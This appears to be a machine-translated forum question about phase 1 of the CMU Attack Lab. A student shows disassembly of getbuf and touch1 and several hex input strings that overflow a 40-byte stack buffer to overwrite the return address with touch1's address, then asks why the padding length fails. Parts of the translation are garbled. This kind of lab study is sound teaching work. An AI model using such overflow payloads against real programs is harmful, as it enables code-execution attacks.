CMU攻击实验室分配的第一阶段(原始版本为here)要求使用漏洞字符串将程序重定向到现有过程。
我的理解是我需要知道为getbuf
函数保留多少空间堆栈,这样我就可以创建一个长度很长的字符串,然后添加touch1
的地址。
我的objdump如下:
000000000040193c <getbuf>:
40193c: 48 83 ec 28 sub $0x28,%rsp
401940: 48 89 e7 mov %rsp,%rdi
401943: e8 88 02 00 00 callq 401bd0 <Gets>
401948: b8 01 00 00 00 mov $0x1,%eax
40194d: 48 83 c4 28 add $0x28,%rsp
401951: c3 retq
0000000000401952 <touch1>:
401952: 48 83 ec 08 sub $0x8,%rsp
401956: c7 05 bc e6 2d 00 01 movl $0x1,0x2de6bc(%rip) # 6e001c <vlevel>
40195d: 00 00 00
401960: bf e5 26 4b 00 mov $0x4b26e5,%edi
401965: e8 36 16 01 00 callq 412fa0 <_IO_puts>
40196a: c7 05 7c e6 2d 00 01 movl $0x1,0x2de67c(%rip) # 6dfff0 <rlev>
401971: 00 00 00
401974: 48 83 c4 08 add $0x8,%rsp
401978: c3 retq
正如您所看到的,getbuf
函数正在0x28
空格(40位小数)递减rsp
。所以我用来利用的字符串如下:
//This should cross stack frame space for getbuf
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
//This should cross old rbp
00 00 00 00 00 00 00 00
// Address of touch1, which should be placed instead of address of ret, thus exploiting the course of action.
52 19 40 00 00 00 00 00
让我们看一下getbuf
函数:
1 unsigned getbuf()
2 {
3 char buf[BUFFER_SIZE];
4 Gets(buf);
5 return 1;
6 }
我们可以看到buf应该分配一个大小。从指令中,我可以看到整个函数的大小为0x28
。现在看看我对堆栈帧的描述(这是32位,但基本原理是相同的):
现在,如果我对堆栈帧的描述不正确,那么我应该在RET
或8(%ebp)
找到48(%esp)
地址。这意味着我需要遍历0x28 + 0x4
空间到更高的内存,然后提供我的漏洞利用函数touch1
的地址,该地址应该返回touch1
而不是RET
。我错了什么?我的过程中是否有任何错误,或者我没有解决重要的问题?
更新
我做了一点试验和错误。以下文字距离Type string:Ouch!: You caused a segmentation fault!
和{}之间只有一个字节。 Type string:No exploit. Getbuf returned 0x1
aa aa aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa aa aa
aa aa
52 19 40 00 00 00 00 00
以下文字:
aa aa aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa aa aa
aa aa aa aa aa aa
52 19 40 00
根据jester的评论部分,即使它超过ret
,我们也可以获得段错误。那么为什么在我上面的文本中减少一个字节仍然给我带来了漏洞或段错误?